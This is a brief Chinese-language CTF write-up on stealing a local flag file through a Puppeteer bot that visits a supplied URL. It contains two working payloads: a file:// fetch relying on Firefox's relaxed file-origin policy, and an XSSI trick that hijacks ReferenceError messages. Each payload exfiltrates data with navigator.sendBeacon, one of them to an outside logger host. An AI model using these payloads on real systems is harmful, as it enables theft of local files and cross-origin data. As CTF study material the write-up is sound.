題目的代碼非常簡單,核心只有這一句
page.goto(url, { timeout: 2000 });
方案1
Puppeteer?是一個常用的自動化瀏覽器工具,默認支持?Chrome,但也可以配置支持?Firefox。然而,當?Puppeteer 運行在?Firefox 上時,會自動關閉一些安全特性,尤其是將?security.fileuri.strict_origin_policy?設置為?false。這意味著不同的?file://?協議下的文件(比如?file://A 和?file://B)會被當作同源(same-origin)處理。
fetch('file:///flag.txt').then(e => e.text()).then(e => navigator.sendBeacon(url, e));
方案2 XSSI 攻擊
xssi.pdf
<script>ReferenceError.prototype.__defineGetter__('name', function(){const variable = this.message.split(' is ')[0];let decoded = '';for(const u16 of [...variable]){const i = u16.charCodeAt(0);decoded += String.fromCharCode(i % 256);decoded += String.fromCharCode(i >> 8);}navigator.sendBeacon('https://terjanq-logger.glitch.me/log2?id=sourceless', decoded)});</script><script charset=utf-16le src="file:///flag.txt"></script>
-
在Chrome和Firefox中,可以通過重寫Error.prototype,攔截并讀取error.message屬性。
-
正常情況下,跨域腳本報錯時,window.onerror只會返回“Script?error”,但控制臺的錯誤信息卻包含了詳細內容。
-
由于console構造錯誤信息時會用到共享的Error原型,網站可以“污染”原型并執行自定義JS。